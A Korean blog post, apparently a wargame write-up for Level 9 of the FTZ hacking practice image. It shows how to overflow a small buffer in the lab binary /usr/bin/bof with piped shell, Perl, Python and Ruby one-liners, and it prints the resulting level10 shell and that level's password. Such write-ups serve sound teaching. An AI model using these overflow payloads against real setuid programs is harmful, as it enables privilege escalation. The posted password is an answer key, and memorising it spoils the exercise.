본문으로 바로가기

ftz.hackerschool.org의 이미지를 받아 실습했습니다. 


-Level9

level9 / apple


buf와 buf2 의 크기가 10바이트라서 입력할 수 있었지만 400바이트 처럼 큰 숫자라면 직접 치면서 오버플로우 시키기 어렵다.

-> 쉘 스크립트를 이용하여 자동으로 입력되도록 한다. 


- 쉘 스크립트


 

#for i in `seq 1 16`

do

printf "A"

done

#printf "go\n"

 


[level9@ftz level9]$ for i in `seq 1 16`; do printf "A"; done; printf "go\n"

 

 AAAAAAAAAAAAAAAAgo

 

> 이 구문을 파이프로 넘기기만 하면 된다. 


[level9@ftz level9]$ (for i in `seq 1 16`; do printf "A"; done; printf "go\n" ; cat) |  /usr/bin/bof

 

 

It can be overflow : Good Skill!


id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass


Level10 Password is "interesting to hack!".


 

> 잘 실행 된다. 


- 펄(Perl) 스크립트

[level9@ftz tmp]$ (perl -e 'print "A"x16, "go"'; cat) | /usr/bin/bof 


- 파이썬(Python) 스크립트

[level9@ftz tmp]$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof 


- 루비(Ruby) 스크립트 ( 실습 이미지에 루비가 설치되어 있지 않습니다.  )

[root@kali ~]# (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof 


'Security > 리버싱' 카테고리의 다른 글

Level10 분석 (공유 메모리)  (0) 2017.12.01
Level 10 문제 해결 (공유 메모리 해킹)  (0) 2017.12.01
Level9 문제 해결  (0) 2017.11.30
Level8 문제 해결  (0) 2017.11.30
Level7 의사코드  (0) 2017.11.30